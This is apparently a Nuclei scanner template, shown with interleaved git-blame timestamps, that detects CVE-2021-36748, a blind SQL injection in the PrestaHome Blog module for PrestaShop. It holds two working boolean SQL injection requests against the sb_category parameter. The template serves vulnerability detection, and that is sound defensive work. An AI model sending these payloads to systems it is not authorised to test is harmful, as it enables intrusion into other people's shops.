2022-01-04 11:53:56 +00:00
|
|
|
id: CVE-2021-36748
|
|
|
|
|
|
|
|
info:
|
2022-06-30 14:47:05 +00:00
|
|
|
name: PrestaHome Blog for PrestaShop <1.7.8 - SQL Injection
|
2022-01-04 11:53:56 +00:00
|
|
|
author: whoever
|
|
|
|
severity: high
|
2022-06-30 17:44:30 +00:00
|
|
|
description: PrestaHome Blog for PrestaShop prior to version 1.7.8 is vulnerable to a SQL injection (blind) via the sb_category parameter.
|
2023-09-06 12:09:01 +00:00
|
|
|
remediation: |
|
|
|
|
Upgrade to PrestaShop version 1.7.8 or later, or apply the provided patch to fix the SQL Injection vulnerability.
|
2022-01-04 11:53:56 +00:00
|
|
|
reference:
|
|
|
|
- https://blog.sorcery.ie/posts/ph_simpleblog_sqli/
|
2022-05-17 09:18:12 +00:00
|
|
|
- https://alysum5.promokit.eu/promokit/documentation/blog/
|
|
|
|
- https://blog.sorcery.ie
|
2022-06-30 14:47:05 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-36748
|
2022-01-04 11:55:25 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
2022-04-22 10:38:41 +00:00
|
|
|
cvss-score: 7.5
|
2022-01-04 11:55:25 +00:00
|
|
|
cve-id: CVE-2021-36748
|
|
|
|
cwe-id: CWE-89
|
2023-10-14 11:27:55 +00:00
|
|
|
epss-score: 0.0061
|
2023-11-09 06:04:52 +00:00
|
|
|
epss-percentile: 0.76206
|
2023-09-06 12:09:01 +00:00
|
|
|
cpe: cpe:2.3:a:prestahome:blog:*:*:*:*:*:prestashop:*:*
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 2
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: prestahome
|
|
|
|
product: blog
|
2023-09-06 12:09:01 +00:00
|
|
|
framework: prestashop
|
2023-07-11 19:49:27 +00:00
|
|
|
tags: cve,cve2021,prestashop,prestahome,sqli,cms
|
2022-01-04 11:53:56 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2022-01-04 11:53:56 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
GET /module/ph_simpleblog/list?sb_category=')%20OR%20true--%20- HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
|
|
GET /module/ph_simpleblog/list?sb_category=')%20AND%20false--%20- HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
req-condition: true
|
|
|
|
matchers:
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- "status_code_1 == 200"
|
|
|
|
- "status_code_2 == 404"
|
|
|
|
- 'contains(body_1, "prestashop")'
|
2023-06-19 21:10:30 +00:00
|
|
|
- "contains(tolower(header_2), 'index.php?controller=404')"
|
2022-01-04 11:53:56 +00:00
|
|
|
- "len(body_2) == 0"
|
2022-06-30 14:47:05 +00:00
|
|
|
condition: and
|
2023-11-07 17:58:22 +00:00
|
|
|
|
|
|
|
# digest: 4a0a00473045022100c6860d0b1459c4529c915446bf7b37dfce7b6511fd46096351cbff182da92d850220018d06ecff0a7f13592c6117a1e6ca874b3b41366ab6bdaa632138b95c3b2d93:922c64590222798bb761d5b6d8e72950
|